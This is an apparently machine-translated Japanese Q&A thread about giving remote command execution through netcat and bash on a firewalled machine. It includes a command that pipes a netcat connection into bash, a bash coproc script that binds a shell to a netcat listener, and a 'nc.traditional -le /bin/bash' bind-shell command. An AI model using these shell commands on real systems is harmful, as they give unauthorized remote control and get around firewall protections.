リモートコンピュータへの接続を受信し、netcat
リモートコンピュータからのすべてのテキストに対してbashを実行し、コマンドの結果を再度リモートコンピュータに送信しようとします。
はい。完全にハッキング。
私は次のように働きます。
私のローカルコンピュータで実行します。netcat -l -p 8765
リモートファイアウォールがあるコンピューターで、次の操作を実行します。netcat <ipofmylocalmachine> 8765 | bash -
tail -f /tmp/output
リモートコンピュータでaを実行してaと入力すると、コマンドの結果を表示できます。echo "test" > /tmp/output
しかし、ローカルコンピュータでbashコマンドの結果をどのように見ますか?
PythonとPerlを使ってこれを行うことはできますが、bashだけを使ってどうすればよいですか?
ちなみに、私はリバースシェルの解釈を知っています。http://blog.safebuff.com/2016/06/19/Reverse-shell-Cheat-Sheet/しかし、私は少し違うものを探しています。開いているポートは、サーバーで開いているポートではなく、ファイアウォールのないクライアントで開いているポートです。
答え1
基本的にあなたが望むのは、netcatのSTDOUTをbashのSTDINに接続し、bashのSTDOUTをnetcatのSTDINに接続することです。
Bashにはコマンドを起動する方法がいくつかありますが、コマンドを起動してコマンドを読み書きする方法は1つだけです。バッシュがそれを呼ぶコルーチン。
それでは、私たちが望むことをできるようにする最終的なスクリプトを見て分析しましょう。
#!/bin/bash
coproc netcat -l -p 8765
exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1
したがって、最初の行はnetcat
バックグラウンドで始まり、netcat
数値が格納されているファイル記述子にSTDOUTを割り当て${COPROC[0]}
、netcat
番号が格納されているファイル記述子にSTDINを割り当てます${COPROC[1]}
。
これで、これらのファイル記述子をbashのSTDIN / STDOUT / STDERRにリダイレクトする必要があります。ただし、bashがスクリプトを実行すると、スクリプトファイルからコマンドを読み取り、ファイル記述子から読み取りに切り替えるように指示する方法はありません。したがって、bashを再実行すると、STDINはに接続され、${COPROC[0]}
STDOUTはに接続され、${COPROC[1]}
STDERRはに接続されます${COPROC[1]}
。
答え2
このパッケージが必要ですnetcat-traditional
。
次のコマンドを使用します。
$ nc.traditional -le /bin/bash -p <port to listen>
たとえば、
nc.traditional -le /bin/bash -p 8888
接続して実行するls
と、ファイルを表示できます。